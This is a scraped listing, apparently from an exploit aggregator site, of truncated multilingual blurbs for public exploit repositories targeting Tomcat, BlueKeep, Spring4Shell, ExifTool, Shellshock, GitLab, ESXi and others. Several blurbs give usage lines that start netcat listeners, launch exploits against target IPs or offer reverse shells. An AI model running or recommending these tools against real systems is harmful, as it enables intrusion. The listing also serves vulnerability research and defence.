CVE-2017-12615

CVE-2017-12615 Tomcat リモートコード実行脆弱性 Exploit java -jar CVE-2017-12615-Exploit.jar Url ShellName ShellValue root@kitploit: www.SecFree.com · · · 一┳═┻︻▄ Tomcat RCE CVE-2017-12615 ▄︻┻═┳一 · · · 影響: Apache Tomcat 7.0.0 - 7.0.79 0day 情報: https://www.secfree.com/article-399.html ヘルプ: Url ShellName...

CVE-2019-0708-POC

CVE-2019-0708-POC CVE-2019-0708 の動作する概念実証コードです。リモートシェルを起動します。 python3 で実行します。 使用例 python3 CVE-2019-0708-windows.py Linux と Windows では異なるバージョンが必要です。 明白な理由により難読化されています。...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI Exploit スクリプト 説明 Apache Tomcat サーバーの CGI 脆弱性を悪用し、リバースシェル接続を実行するように設計された Python スクリプト。 使用例 特徴 Apache Tomcat の CGI 脆弱性に対する自動エクスプロイト カスタマイズ可能なターゲットおよび攻撃者パラメータ シンプルなコマンドラインインターフェース 前提条件 Python 3.x requests ライブラリ Netcat nc.exe リバースシェルを受信するためのリスナーへのアクセス インストール root@kitploit: git clone...

CVE-2026-55071

MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the adopackageinstall MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can...

Vmware-ESXI

CVE-2024-37085 ドメイン参加済みESXiハイパーバイザーに対する認証なしシェルアップロードから完全な管理者権限の取得。 ESXIVORTEXをダウンロード 詳細: 認証バイパスにより、vpxuser コンテキストでのシェルアップロードが可能になり、ドメイン参加済みESXiハイパーバイザー上で完全な管理者権限を取得します。 この脆弱性を悪用するには、ESXiシェルが有効になっている必要があります。 エクスプロイト: この脆弱性の悪用には、完全な管理者制御を達成するためにいくつかの手順を実行する必要があります。 これらすべての手順は、1つのPythonスクリプトで処理されます。...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M コマンドインジェクションエクスプロイト CVE-2025-69212 用の完全自動エクスプロイトスクリプトです。これは OpenSTAManager のコマンドインジェクション脆弱性です。このスクリプトは管理者資格情報で認証し、ZIP アーカイブ内の細工された P7M ファイルを介して悪意のある PHP Web シェルを展開し、コマンド実行またはリバースシェルを提供します。 Features 自動認証。 悪意のある ZIP の生成とアップロード（invoice.p7m インジェクション）。 特殊文字の問題を防ぐための...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, 배치 스캔 지원 사용법 root@kitploit: -a string 反弹监听地址 -b 是否显示banner default true -c string 命令 default "ls" -p int 反弹监听端口 -poc 是否只进行poc扫描,默认只扫poc default true -r 是否反弹shell default false -t int 超时时间 default 20 -u string 目标单个ip或txt文件 default "http://127.0.0.1:8080" -w int 工人数量 default...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool のエクスプロイト - 任意のコード実行 エクスプロイトの説明 このエクスプロイトを使用して、脆弱なバージョンの ExifTool でコード実行に使用できる JPEG 画像ペイロードを生成します。カスタムコマンドを指定するか、リバースシェルを生成できます。JPEG 画像が自動的に生成されます。オプションで、カスタム JPEG 画像を提供してペイロードを挿入することもできます。...

CVE-2022-33891

CVE-2022-33891 - Apache Spark コマンドインジェクションの脆弱性 ⚠️ 教育目的および許可されたセキュリティ研究のみを対象としています 元のエクスプロイト作成者 元のPoC作成者 AkbarTrilaksana に深く感謝します。 説明 Apache Spark UIは、設定オプション spark.acls.enable を介してACLを有効にする機能を提供します。認証フィルターを使用すると、ユーザーがアプリケーションを表示または変更するためのアクセス権限を持っているかどうかをチェックします。ACLが有効な場合、HttpSecurityFilter...

CVE-2025-53770-SharePoint-Zero-Day-Variant-Exploited-for-Full-RCE

🚨 CVE‑2025‑53770 – SharePoint 제로데이 변종, 전체 RCE에 악용됨 CVE‑2025‑49706에서 중요한 확대 Aditya Bhatt 작성 – Red Team | VAPT 📌 요약 CVE‑2025‑53770 은 현재 실제 환경에서 적극적으로 악용되고 있는 Microsoft SharePoint의 심각한 CVSS 9.8 무인증 RCE 취약점 입니다. 이는 독립적인 문제가 아니라 제가 이전에 다룬 CVE‑2025‑49706의 변종 입니다. 하지만 CVE‑2025‑49706은 인증이 필요했던 반면, 53770은...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE の RCE エクスプロイト。異なるリバースシェルに対応。 CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585 学習と練習のために、Sam Redmond と Tam Lai Yin のバージョンを改変したものです。 使用方法 全てのものがそうあるべきですが、これは python3 で書かれています。 依存関係:...

CVE-2024-4358

CVE-2024-4358 CVE-2024-4358에 대한 취약점 탐지 및 대규모 익스플로잇 도구 설치: root@kitploit: git clone https://github.com/RevoltSecurities/CVE-2024-4358 pip install -r requirements.txt python3 exploit.py --help 사용법: root@kitploit: python3 exploit.py -h / / / / / / / / | |// // / / / / / / / / / / / / / / // // / /...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 インターンシップのテストタスク用リポジトリです。 ステップ0: このgitリポジトリをクローンする root@kitploit: git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 ステップ1: Dockerコンテナを作成する Dockerデーモンを起動する root@kitploit: sudo systemctl start docker.service Dockerコンテナを起動する...

cve-2010-4221

cve-2010-4221 このエクスプロイトはいくつかの概念を勉強するために書かれました。お楽しみください！ 使用方法 root@kitploit: Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format...

CVE-2019-11223

CVE-2019-11223 Wordpress 플러그인 SupportCandy 버전 2.0 이하에서의 임의 파일 업로드 취약점 https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...

CVE-2014-6271

CVE-2014-6271 python2.7 お使いのマシンでリッスンを開始します。 root@kitploit: nc -l -p 4444 以下のルールに従ってpythonスクリプトを実行します： python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 お楽しみください...

CVE-2019-11580

CVE-2019-11580 リモートで脆弱性を悪用するためのCVE-2019-11580シェル。...

Confluence-RCE

Usage: python3 mian.py 탐지 명령 실행 리버스 셸 socks5 및 http 프록시 지원...

CVE-2022-36804-PoC

CVE-2022-36804-PoC マルチスレッドのエクスプロイトスクリプト。CVE-2022-36804に影響を受ける（ほとんどの）BitBucketバージョン://: -e check,rce,ssrf,download,revshell, --exploit check,rce,ssrf,download,revshell Exploit to perform --...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS の認証不要リモートコマンドインジェクション 概要 このリポジトリには、Hytec Inter HWL-2511-SS デバイスにおける重大な脆弱性である CVE-2022-36553 を悪用するための Proof of Concept（PoC）リバースシェルスクリプトが含まれています。このスクリプトは実用的なデモンストレーションであり、私のブログ記事「Hytec Inter HWL-2511-SS - Vulnerability Report」で提供している詳細な分析を補完するものです。 影響を受けるバージ...